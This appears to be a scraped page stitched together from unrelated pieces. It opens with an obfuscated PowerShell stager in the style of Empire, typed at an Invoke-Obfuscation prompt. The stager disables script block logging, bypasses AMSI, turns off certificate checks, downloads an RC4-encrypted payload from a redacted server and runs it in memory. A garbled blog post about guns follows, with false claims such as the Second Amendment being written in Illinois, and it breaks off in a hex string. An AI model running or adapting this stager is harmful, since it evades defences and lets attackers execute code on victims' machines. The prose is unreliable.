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Invoke-Obfuscation> set SCRIPTBLOCK If($PSVersionTable.PSVersions.Major -ge 3){$GPF=[ref].Assembly.GetType('System.Management.Automation.Utils')."GetField"('cachedGroupPolicySettings','NonPublic,Static');If($GPF){$GPC=$GPF.GetValue($null);If($GPC['ScriptB'+lockLogging']){$GPC['ScriptB'+lockLogging]['EnableScriptB'+lockLogging]=0;$GPC['ScriptB'+lockLogging]['EnableScriptBlockInvocationLogging']=0}$VAL=[Collections.Generic.Dictionary[String,System.Object]]::new();$VAL.Add('EnableScriptB'+lockLogging,0);$VAL.Add('EnableScriptBlockInvocationLogging',0);$GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+lockLogging]=$val}else{$ScriptBlock."GetField"('signatures','NonPublic,Static').Setvalue($null,(New-Object Collections.Generic.HashSet[String]))[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')?{$_}%"$_".GetField('amsiInitFailed','NonPublic,Static').Setvalue($null,$true)};[System.Net.ServicePointManager]::Expect100Continue=0;$WC=New-Object System.Net.WebClient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$WC.Headers.Add('User-Agent',$u);$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$WC.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;$Script:Proxy = $wc.Proxy;$K=[System.Text.Encoding]::ASCII.GetBytes("#Zdz&fQu2Yc(A,B)8EerTJ.C}w<H');$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_] +$K[$_%$K.Count])%256;$S[$_]=$S[$J];$S[$_]};$D|%{$I=(($I+1)%256);$H=($H+$S[$I])%256;$S[$I]=$S[$H];$S[$H]=$S[$I];$_-bxor$S(($S[$I]+$S[$H])%256)};$ser='https:// ██████████';$t='/login/process.php';$WC.Headers.Add("Cookie","session=eS0ayZo21KW1jMSu1N4sXVPLzAE=");$DATA=$WC.DownloadData($Ser+$t);$iv=$data[0..3];$DATA=$Data[4..$Data.Length];-JOIN[Char[]](& $R $Data ($IV+$K))|IEX
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Someone stole a list of usernames and passwords for the network recently. We were able to track the person that stole the list down, and have brought him to justice. Guns, God, and Gay Marriage Today it is back to school. And what better way to celebrate than with a gun! Well, maybe it's just my love of guns. But guns are a big part of our country and culture. It's something I learned at my first job as a teller at our local bank (the Southern Nevada Community Development Center) in a little town called Indian Springs. One of the responsibilities for the tellers was to verify each customer's right to purchase a firearm in the state of Nevada. In fact, it was actually a fairly common occurrence for us to be asked to verify that a customer was over the age of 21, had an ID, and could legally purchase a firearm. We always went out of our way to verify that the customer had a clean criminal background (i.e. no DWIs) and that the transaction was to be the customer's sole business. Of course, for our part, if we came across a shady person trying to purchase a gun with a false I.D., we didn't hesitate to stop the transaction. Of course, most of the time, we were able to verify that the person was over 21 with just a quick ID check. After all, the chances of a person with no I.D. getting a fake or stolen I.D. is pretty slim. But every now and again, you come across a scenario where you feel like there's something fishy going on. It's almost like the person has an unspoken understanding with the bank that you'll let them get away with lying if you're feeling generous. This is where you guessed it, the second part of this post has to do with guns. But before you go there, let me take you back in time to where this all started: First, some background on me: I grew up in Illinois, where the Second Amendment was written and Bill of Rights was ratified. I have always been a gun guy. I worked as a security guard and volunteer firefighter in the city of Chicago. As a kid, my family raised a lot of gamefowl and enjoyed barbecuing (Thanks mom!). I have been a member of a hunting club for years and owned 82157476af

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